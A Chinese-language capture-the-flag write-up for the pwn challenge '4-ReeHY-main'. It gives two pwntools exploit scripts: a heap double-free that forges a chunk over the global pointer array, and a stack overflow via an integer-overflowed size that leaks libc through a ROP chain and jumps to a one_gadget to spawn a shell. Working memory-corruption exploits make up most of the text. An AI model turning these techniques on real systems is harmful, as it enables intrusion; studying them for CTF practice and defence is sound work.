先说一下参考链接 https://bbs.pediy.com/thread-218300.htm
然后这个题 其实可以按堆的解法来做 也可以按照 栈的解法来做 这个要看自己的做法了
然后我首先看的是堆的解法 一开始我的想法是 直接 double free直接 到 heap_user 但是失败了
然后看了这篇帖子感觉受益匪浅 然后写篇这个帖子来记录一下
‘
然后 那篇帖子其实讲的很明白 我就不多讲了 利用的就是 linux 里面的堆的机制 然后 让 hp[2].addr = (&hp[0]+8)
然后直接 就可以 操控了 。。。 下面是我参考上面链接 写的脚本
#coding:utf-8
from pwn import *
context.log_level='debug'
io=process("./4-ReeHY-main")
elf=ELF("./4-ReeHY-main")
libc=ELF("./libc-2.23.so")
'''
'''
def add(size,cun,content):
io.recvuntil('******************************\n')
io.sendline('1')
io.recvuntil('Input size\n')
io.sendline(str(size))
io.recvuntil('Input cun\n')
io.sendline(str(cun))
io.recvuntil("Input content\n")
io.sendline(content)
def dele(cun):
io.recvuntil('******************************\n')
io.sendline('2')
io.recvuntil("Chose one to dele\n")
io.sendline(str(cun))
def edit(cun,content):
io.recvuntil('******************************\n')
io.sendline('3')
io.recvuntil('Chose one to edit\n')
io.sendline(str(cun))
io.recvuntil('Input the content\n')
io.sendline(content)
def init(content):
io.recvuntil('Input your name: \n')
io.sendline(content)
if __name__ =="__main__":
init('pipixia')
add(0x30,0,'aaaa')
add(0x30,1,'bbbb')
#add(0x30,2,'cccc')
dele(0)
dele(1)
dele(0)
fake_chunk_addr=0x6020C2-8
add(0x30,0,p64(fake_chunk_addr))
add(0x30,1,'bbbb')
add(0x30,0,'cccc')
#gdb.attach(io)
add(0x30,2,'dddd')
#gdb.attach(io)
io.interactive()
io.close()
然后下面就是 非预期解法 大概思路就是
- 整数溢出绕过绕过size检查进行栈溢出
- 栈溢出leak掉libc
- 栈溢出实行one_gadget拿到shell
下面是脚本
#coding:utf-8
from pwn import *
#context.log_level='debug'
native=1
if native==1 :
io=process('./4-ReeHY-main')
libc=ELF('/home/keer/桌面/glibc-2.19/glibc-2.19/_debug/lib/libc-2.19.so')
libc_one_gadget_addr=0xcf89a
else :
io=remote('111.198.29.45',51162)
libc=ELF('./libc-2.23.so')
libc_one_gadget_addr=0x45216
elf=ELF('./4-ReeHY-main')
io.sendlineafter('$ ','1234')
def add(a,b,c):
io.sendlineafter('$ ','1')
io.sendlineafter('Input size\n',str(a))
io.sendlineafter('Input cun\n',str(b))
io.sendlineafter('Input content',c)
pop_rdi=0x400da3
main_addr=0x400c8c
add(-1,1,'a'*0x88+'\x00'*0x8+'a'*0x8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_addr))
io.recv()
puts_addr=u64(io.recv()[:6].ljust(8,'\x00'))
log.success('puts_addr:'+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
one_gadget_addr=libc_base+libc_one_gadget_addr
log.success('libc_base:'+hex(libc_base))
log.success('one_gadget_addr:'+hex(one_gadget_addr))
io.sendline('1234')
add(-1,1,'a'*0x88+'\x00'*0x8+'a'*0x8+p64(one_gadget_addr))
io.interactive()